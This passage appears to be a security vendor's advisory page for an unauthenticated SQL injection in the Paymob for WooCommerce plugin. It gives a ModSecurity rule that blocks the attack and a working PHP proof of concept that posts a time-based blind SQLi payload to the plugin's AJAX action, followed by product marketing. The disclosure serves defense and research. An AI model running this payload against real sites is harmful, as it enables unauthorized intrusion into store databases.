  "id:20261520,phase:2,deny,status:403,chain,msg:'CVE-2026-15205 Paymob for WooCommerce unauthenticated SQLi via paymob_log_error',severity:'CRITICAL',tag:'CVE-2026-15205',tag:'attack-sqli'"
  SecRule ARGS_POST:action "@streq paymob_log_error" "chain"
    SecRule ARGS_POST:message|ARGS_POST:context "@detectSQLi" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15205 - Paymob for WooCommerce <= 4.1.8 - Unauthenticated SQL Injection

$target_url = 'http://localhost/wordpress'; // Change to target WordPress URL

// Step 1: Build the AJAX endpoint URL.
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Step 2: Craft a time-based blind SQL injection payload in the 'message' parameter.
// The payload breaks out of the string literal used by the log INSERT query.
$payload = "' OR SLEEP(5)-- -";

// Step 3: Prepare POST data for the unauthenticated paymob_log_error action.
$post_data = array(
    'action'  => 'paymob_log_error',
    'message' => $payload,
    'context' => 'frontend',
);

// Step 4: Send the request and measure elapsed time.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Report results. A delay near 5 seconds indicates SQL injection success.
echo "HTTP Status: {$http_code}n";
echo "Elapsed time: " . round($elapsed, 2) . " secondsn";
echo "Response: " . substr($response, 0, 500) . "n";

if ($elapsed >= 4.5) {
    echo "[+] Target appears VULNERABLE to CVE-2026-15205 (time-based blind SQLi confirmed).n";
} else {
    echo "[-] No significant delay observed. Target may be patched or unreachable.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.